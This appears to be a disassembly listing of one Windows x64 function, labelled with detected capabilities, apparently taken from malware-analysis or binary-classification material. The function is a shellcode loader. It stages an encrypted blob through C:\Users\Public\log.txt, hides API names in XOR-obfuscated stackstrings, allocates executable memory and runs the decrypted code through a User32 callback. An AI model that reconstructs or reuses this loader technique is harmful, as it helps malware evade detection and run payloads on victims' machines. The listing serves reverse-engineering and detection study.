Function at 0x140001ae0
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xcf8
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0xce0], rax
mov byte [rsp + 0x110], 0x3e
mov byte [rsp + 0x111], 0x9c
mov byte [rsp + 0x112], 0x5b
mov byte [rsp + 0x113], 0x28
mov byte [rsp + 0x114], 0x34
mov byte [rsp + 0x115], 0x1c
mov byte [rsp + 0x116], 0xb5
mov byte [rsp + 0x117], 0x65
mov byte [rsp + 0x118], 0xba
mov byte [rsp + 0x119], 0xf5
mov byte [rsp + 0x11a], 0xde
mov byte [rsp + 0x11b], 0x4d
mov byte [rsp + 0x11c], 0
mov byte [rsp + 0x11d], 0xe
mov byte [rsp + 0x11e], 0x91
mov byte [rsp + 0x11f], 0x96
lea rax, [rsp + 0x310]
lea rcx, [0x140015480]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1d1
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x68], 0x1d1
lea rax, str.C:UsersPubliclog.txt
mov qword [rsp + 0x78], rax
lea rax, str.log.txt
mov qword [rsp + 0x70], rax
mov r9, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
lea rdx, str._s:_s
lea rcx, [rsp + 0x4f0]
call fcn.1400022b0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x130]
lea rcx, str.sdfsdfsdfsdsdf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0xd0], 0x24
mov byte [rsp + 0xd1], 0x16
mov byte [rsp + 0xd2], 0xf
mov byte [rsp + 0xd3], 7
mov byte [rsp + 0xd4], 1
mov byte [rsp + 0xd5], 0x20
mov byte [rsp + 0xd6], 0x1a
mov byte [rsp + 0xd7], 8
mov byte [rsp + 0xd8], 3
mov r9d, 0xf
lea r8, [rsp + 0x130]
mov edx, 9
lea rcx, [rsp + 0xd0]
call section..text
mov qword [rsp + 0x80], rax
lea rcx, [0x140015678]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1d0
lea rdx, [rsp + 0x310]
mov rcx, qword [rsp + 0x40]
call qword [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], 0x1d0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1d0
lea rdx, [rsp + 0x140]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x48]
mov r8d, eax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x310]
call fcn.140003480
test eax, eax
jne 0x140001d82
lea rcx, str.Its_OK
call fcn.140002250
jmp 0x140001d8e
lea rcx, str.Its_not_OK
call fcn.140002250
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0xc8]
lea rcx, str.asdqwe
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0xe0], 0x34
mov byte [rsp + 0xe1], 0
mov byte [rsp + 0xe2], 1
mov byte [rsp + 0xe3], 3
mov byte [rsp + 0xe4], 0x44
mov byte [rsp + 0xe5], 0x57
mov byte [rsp + 0xe6], 0x4f
mov byte [rsp + 0xe7], 0x17
mov byte [rsp + 0xe8], 8
mov byte [rsp + 0xe9], 0x1d
mov byte [rsp + 0xf0], 0x2d
mov byte [rsp + 0xf1], 0x1c
mov byte [rsp + 0xf2], 5
mov byte [rsp + 0xf3], 0x15
mov byte [rsp + 0xf4], 0x3b
mov byte [rsp + 0xf5], 0xc
mov byte [rsp + 0xf6], 3
mov byte [rsp + 0xf7], 1
mov byte [rsp + 0xf8], 5
mov byte [rsp + 0xf9], 3
mov byte [rsp + 0xfa], 0xe
mov byte [rsp + 0xfb], 0x24
mov byte [rsp + 0x120], 0x24
mov byte [rsp + 0x121], 0x1d
mov byte [rsp + 0x122], 0x11
mov byte [rsp + 0x123], 0x1c
mov byte [rsp + 0x124], 0x34
mov byte [rsp + 0x125], 0xd
mov byte [rsp + 0x126], 8
mov byte [rsp + 0x127], 0x1f
mov byte [rsp + 0x128], 0
mov byte [rsp + 0x129], 0x26
mov byte [rsp + 0x12a], 0x1e
mov byte [rsp + 0x12b], 0xb
mov byte [rsp + 0x12c], 5
mov byte [rsp + 0x12d], 0x1c
mov byte [rsp + 0x12e], 0x13
mov byte [rsp + 0x12f], 2
mov byte [rsp + 0x100], 0x37
mov byte [rsp + 0x101], 0x1a
mov byte [rsp + 0x102], 0x16
mov byte [rsp + 0x103], 5
mov byte [rsp + 0x104], 2
mov byte [rsp + 0x105], 4
mov byte [rsp + 0x106], 0xd
mov byte [rsp + 0x107], 0x32
mov byte [rsp + 0x108], 8
mov byte [rsp + 0x109], 0x1d
mov byte [rsp + 0x10a], 0x18
mov byte [rsp + 0x10b], 6
lea rcx, str.kernel32.dll
call fcn.140002300
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xc8]
call fcn.140004980
mov r9, rax
lea r8, [rsp + 0xc8]
mov edx, 0xc
lea rcx, [rsp + 0xf0]
call section..text
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
call fcn.1400023d0
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0xc8]
call fcn.140004980
mov r9, rax
lea r8, [rsp + 0xc8]
mov edx, 0xa
lea rcx, [rsp + 0xe0]
call section..text
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call qword [rsp + 0xa0]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140001ffc
lea rcx, str.User32.dll_is_not_loaded
call fcn.140002250
lea rcx, [rsp + 0xc8]
call fcn.140004980
mov r9, rax
lea r8, [rsp + 0xc8]
mov edx, 0xc
lea rcx, [rsp + 0x100]
call section..text
mov qword [rsp + 0xa8], rax
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x50]
call fcn.1400023d0
mov qword [rsp + 0xb0], rax
mov r9d, 0x10
lea r8, [rsp + 0x110]
mov edx, 0x1d0
lea rcx, [rsp + 0x140]
call fcn.140001110
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1d0
xor ecx, ecx
call qword [rsp + 0xb0]
mov qword [rsp + 0x60], rax
mov r8d, 0x1d0
lea rdx, [rsp + 0x140]
mov rcx, qword [rsp + 0x60]
call fcn.140003580
lea rcx, [rsp + 0xc8]
call fcn.140004980
mov r9, rax
lea r8, [rsp + 0xc8]
mov edx, 0x10
lea rcx, [rsp + 0x120]
call section..text
mov qword [rsp + 0xb8], rax
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x58]
call fcn.1400023d0
mov qword [rsp + 0xc0], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [rsp + 0xc0]
xor eax, eax
mov rcx, qword [rsp + 0xce0]
xor rcx, rsp
call fcn.140002780
add rsp, 0xcf8
pop rdi
pop rsi
ret